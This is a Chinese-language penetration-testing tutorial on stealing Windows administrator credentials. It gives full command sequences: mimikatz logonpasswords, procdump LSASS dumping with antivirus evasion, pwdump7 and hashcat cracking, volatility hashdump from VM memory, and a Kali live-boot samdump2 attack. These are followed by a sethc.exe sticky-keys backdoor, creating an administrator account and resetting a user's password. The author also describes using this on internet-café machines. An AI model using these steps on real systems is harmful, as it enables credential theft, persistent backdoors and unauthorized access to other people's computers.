0x00. 前言
渗透测试过程中我们经常需要获取管理员的账号密码,以便进行更进一步的操作,下面我将给大家总结几种steal account的手法!其中可能也会涉及到apt的内容,希望大家喜欢。
[本教程具有一定攻击性,仅限于教学使用,不得用于其他用途]
0x01. 利用mimikatz获取明文密码
实验环境:
windows 10 // (win 10中有defender会杀掉我们的mimikatz,关掉就好)
mimikatz_trunk // download here
实验步骤:
1. 首先用管理员账号运行cmd.exe,这样才能让mimikatz正常运行 :)
2. 紧接着再进入mimikatz,运行命令
privilege::debug
sekurlsa::logonpasswords
3. 此时我们就能得到username,password的密文,给大家推荐个网站-here,这里可以很容易的解密大多数密文
0x02. 利用procdump & mimikatz获取密码
实验环境:
1. windows 7
2. procdump // download here
3. mimikatz_trunk
实验步骤:
1. 首先用procdump下载LSASS进程的内存,因为procdump是Microsoft Sysinternals tools中的工具,所以AV是不会查杀它的(记住用管理员运行cmd )
C:\Users\times0ng\Desktop\Procdump\procdump.exe -accepteula -ma lsass.exe C:\Users\times0ng\Desktop\lsass.dmp
2. 接着用mimikatz打开dmp文件,获取内存中的内容 // ( lsass.dmp可以下载到我们本地主机再查看里面的内容,相当于离线模式 )
C:\Users\times0ng\Desktop\mimikatz_trunk\x64\mimikatz.exe
sekurlsa::minidump C:\Users\time0sng\Desktop\lsass.dmp
sekurlsa::tspkg
0x03. 利用pwdump7获取密码
实验环境:
windows 7
pwdump7 // download here
实验步骤:
1. 直接用管理员运行cmd,再运行pwdump7.exe
2. 用hashcat直接跑NTLM密码
hashcat -m 1000 AFC44EE7351D61D00698796DA06B1EBF /usr/share/wordlists/sqlmap.txt –force
0x04. 利用虚拟机文件获取密码
关于如何用工具直接获取密码就介绍到这里,其实还不止以上这些工具可以帮助我们达到目的,例如:PowerMemory、quarks pwdump 等都是不错的工具,不过我觉得以上介绍的已经足够大家使用,贪多嚼不烂,下面我将介绍其它不同于上述的方法获取hash密码!
接下来我们将获取Windows 7虚拟机中的账号密码,首先需要将虚拟机挂起,这样才能产生 .vmss 和 .vmem 文件!这两个文件主要是用来获取内存数据的,如果用其它工具能够获取内存数据的话完全可以不用这两个文件,例如:Memoryze 、DumpIt
实验环境:
windows 7 挂起状态
Vmss2core // download here
Volatility // download here
实验步骤:
1. 运行Vmss2core解析虚拟机文件,生成memory.dmp文件
./vmss2core-mac64 -W /Users/apple1/Documents/Virtual\ Machines.localized/Windows\ 7\ x64.vmwarevm/Windows\ 7\ x64-89925192.vmss /Users/apple1/Documents/Virtual\ Machines.localized/Windows\ 7\ x64.vmwarevm/Windows\ 7\ x64-89925192.vmem
2. 利用大神级取证工具volatility获取SYSTEM和SAM的虚拟地址,--profile=Win7SP1x64 架构一定要指定正确,不然会找不到地址
./volatility_2.6_mac64_standalone/volatility_2.6_mac64_standalone hivelist -f memory.dmp –profile=Win7SP1x64
3. 接下来要做的就是获取对应地址的数据了,记住sys-offset和sam-offset指定的都是虚拟地址,别乱指什么物理地址,可以看到我这里有两个用户账号,它们的NTML hash都被我拿到了,随便找点工具解密就行了,上面也讲过hashcat解密!
./volatility_2.6_mac64_standalone/volatility_2.6_mac64_standalone hashdump -f memory.dmp –profile=Win7SP1x64 sys-offset=0xfffff8a000024010 sam-offset=0xfffff8a000b33010
0x05. 利用kali ISO获取密码
这是笔者最喜欢使用的方法,也是最早掌握的方法,说个题外话:当初我还利用这个方法在网吧免费上网,甚至因为网吧的局域网win7环境我还拿到几台肉鸡shell,不过就是玩玩没干坏事。
在开始之前我们应该先准备一个USB启动盘,制作方法可以看我以前的文章,不过我现在只是为了演示一下效果就直接使用VM虚拟机插入ISO文件模拟USB启动盘。
实验环境:
windows 10
kali ISO // download here
实验步骤:
1. 首先将kali ISO镜像文件映射到win10虚拟机中(如果你是用USB启动盘插入物理机的话需要先进入BIOS引导界面,然后修改启动顺序,将USB放到硬盘之前 )
2. 然后启动win10就会进入kali的引导界面,我们点击Live (amd 64) 即可
3. 进入kali之后,先查看win10在哪个硬盘(一般就是size最大的那个盘),然后将其挂载到 /mnt 目录下,之后对/mnt目录下的操作就相当于对win10进行操作了
fdisk -l && mount /dev/sda2 /mnt && cd /mnt/
4. 挂载完之后我们先盗取账号密码【Win10果然更安全了,居然显示是空密码,这显然不是我们要的结果,第二张图附上Win7的效果图】
cd /mnt/Windows/System32/config/ && samdump2 SYSTEM SAM
hashcat -m 1000 afc44ee7351d61d00698796da06b1ebf /usr/share/wordlists/sqlmap.txt --force
5. 虽然win10密码安全性加强了,但并不阻碍我们进行别的操作,下面我们使用经典的shift提权技术来完成进一步操作,上一篇Windows 提权基础 讲漏了,这里补上
cd /mnt/Windows/System32/
cp cmd.exe sethc.exe
6. OK 现在需要做的就是关闭kali ,将映射到win10的ISO移除,然后启动win10,可以看到登录界面,此时我们连续快速的多次按shift键就能弹出命令行
7. 我们的权限这么大,想必添加个管理员账号什么的也不成问题,下面我添加个test管理员账号,然后登录,一进去就碰到win10给我各种Hi,看得我一脸懵逼
net user test test /add
net localgroup administrators /add test
logoff
8. 刚才我们没能抓到win10的hash,但是如果我们仍然想登录times0ng账号的话可以先用命令行修改密码,然后再登陆。【很尴尬,自己的ID都敲错了】
net user time0sng toor